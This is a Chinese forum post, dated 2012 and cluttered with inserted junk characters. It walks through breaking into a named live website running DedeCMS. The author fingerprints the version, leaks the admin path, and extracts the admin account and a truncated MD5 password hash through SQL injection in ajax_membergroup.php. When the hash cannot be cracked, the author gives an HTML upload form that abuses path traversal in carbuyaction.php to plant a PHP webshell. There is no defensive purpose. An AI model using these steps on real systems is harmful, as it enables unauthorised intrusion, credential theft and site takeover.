①注入漏洞。
/ ~& d4 Q/ g5 y- ^这站 http://www.political-security.com/! |$ g& h/ A: s8 d x+ ?
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
& |: o- u8 k3 P1 R- rwww.political-security.com/data/mysql_error_trace.inc 爆后台0 }- d% `# `7 r2 n9 w* N
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。6 b4 j+ c& C1 @5 M. F
然后写上语句 ; K4 y* A! W5 g, P! H
查看管理员帐号2 p- \) B" Q9 X0 n- T1 ~! A
http://www.political-security.co ... &membergroup=@`7 o) ^$ t) Q' U1 [
7 }) @7 w5 F2 a3 k
admin " K6 }6 d2 [7 I$ s9 J4 Y. {* [
9 X1 p: h, q) t
查看管理员密码
, O1 b. ?# z' e: _; K$ C0 h http://www.political-security.co ... &membergroup=@`
" C" [; C0 B/ s B8 b+ w- f7 P. j, R& ?# \( g' i0 k6 ~' o
8d29b1ef9f8c5a5af429# c b+ g+ W) i. ^0 k" l- t$ I& Y
f# T- ~+ P. E* L2 G2 K: [9 _查看管理员密码9 s- I7 a/ [1 w3 s
$ ^0 w- z' x& `
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5; q0 k% @* `+ s$ z* P! H
8 l, C) v8 T& k
8d2
+ [; c3 r6 J% i. k' o2 X9b1ef9f8c5a5af42
/ Q( [( S q/ F$ w+ R8 D9
2 M9 s6 ]# [4 i0 \$ g8 Q2 t( t5 }, i$ [ j0 A4 Y
cmd5没解出来 只好测试第二个方法
7 r* D! c& |2 A& V
8 G% F% |3 N8 m$ F5 e. K7 }7 Z& Q
C( ]9 K' T9 X4 b②上传漏洞：
2 F' E1 }/ U6 V$ D& ^* K5 J5 ?2 B: h3 M
只要登陆会员中心，然后访问页面链接* t- `0 E- {* P" x+ j# e
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”% T2 ~2 N3 e& I
, r4 t$ Y( y* c$ |, J+ N4 H8 z如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
D) g& \3 E/ s2 r6 O) S- G( y/ E9 v3 e# ~6 Z
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
- j$ L9 z* Q+ _0 O
/ x, X4 j$ w4 i4 s* Z0 p* G<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
# r4 w- O+ [- ~: m h% l! q1 @或者+ l2 r& T: b& ?$ A( K* l- W: @
即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对